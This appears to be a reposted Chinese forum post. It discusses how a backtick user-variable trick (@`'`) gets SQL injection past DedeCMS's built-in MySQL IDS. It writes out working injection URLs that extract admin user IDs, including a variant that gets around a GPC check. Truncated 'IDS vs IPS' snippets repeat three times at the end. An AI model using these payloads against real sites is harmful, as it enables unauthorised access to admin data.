討論下IDS的繞過

2021-09-06 17:59:04 字數 1443 閱讀 9626

自從知道dedecms自帶了80sec的內建mysqlids後,一直以來也沒有想到繞過的辦法。或者是自己mysql的根底太差了吧。於是分析dedecms原始碼時,只找模板執行,本地包含,上傳等,完全沒有想到注入存在的可能性了。

可以看看某牛的很久以前的分析

其中:80sec的內建mysqlids可能的繞過方法)

之前也看過,感覺也是同意的。

但今天看到dede再暴漏洞,居然存在注入?

文章在這裡:

注入關鍵地方:/member/ajax_membergroup.php?action=post&membergroup=@`'` union select userid from `%23@__admin` where 1 or id=@`'`

最終執行語句是:

select groupname from dede_member_group where mid = 0 and id=@`\'` union select userid from `dede_admin` where 1 or id=@`\'` limit 0,1;

關鍵是:@`'`  這個

一直以為 反引號 只用於欄位表等特殊地方,但沒想到還可以用於值的,於是就順理繞過了ids的檢測,在ids中變成:select groupname from dede_member_group where mid = 0 and id=@`\$s$` limit 0,1。

如果執行:select * from table where id=`8` 會出錯。

但執行:select * from table where id=@`8` 即正常,但沒查出資料。

即這個值「@`8`」不是簡單的值 8 那是什麼值呢?

mysql> select @`8`;

+------+

| @`8` |

+------+

| null |

+------+

1 row in set (0.00 sec)

據我所知,這個@是由使用者宣告的區域性變數。估計就是把整個值當為整個變數吧?

不知想法對不對。有對mysql了解的可以來解釋一下。

至於有人說為什麼會有些出現:safe alert: request error step 2!

這是由於dedecms的另乙個問題了,這裡就不多說,和gpc有關,可以下面語句繞過:

/member/ajax_membergroup.php?action=post&membergroup=@`\'` union select userid from `%23@__admin` where 1 or id=@`\'`

ids的防和繞過一直在鬥爭著。

在discuz! 中,ids也起到了很大作用,從前面的 /*!*/ 繞過和 union all等繞過,到現在的修復。

大家還有什麼ids的繞過技巧或案例可以分享的麼?^-^

摘自:

IDS與IPS的區別

1.檢測系統 ids ids是英文 intrusion detection systems 的縮寫,中文意思是 檢測系統 專業上講就是依照一定的安全策略,對網路 系統的執行狀況進行監視,盡可能發現各種 企圖 行為或者 結果,以保證網路系統資源的機密性 完整性和可用性。我們做乙個比喻 假如防火牆是一幢...

IDS與IPS的區別

1.檢測系統 ids ids是英文 intrusion detection systems 的縮寫,中文意思是 檢測系統 專業上講就是依照一定的安全策略,對網路 系統的執行狀況進行監視,盡可能發現各種 企圖 行為或者 結果,以保證網路系統資源的機密性 完整性和可用性。我們做乙個比喻 假如防火牆是一幢...

IDS與IPS的區別

1.檢測系統 ids ids是英文 intrusion detection systems 的縮寫,中文意思是 檢測系統 專業上講就是依照一定的安全策略,對網路 系統的執行狀況進行監視,盡可能發現各種 企圖 行為或者 結果,以保證網路系統資源的機密性 完整性和可用性。我們做乙個比喻 假如防火牆是一幢...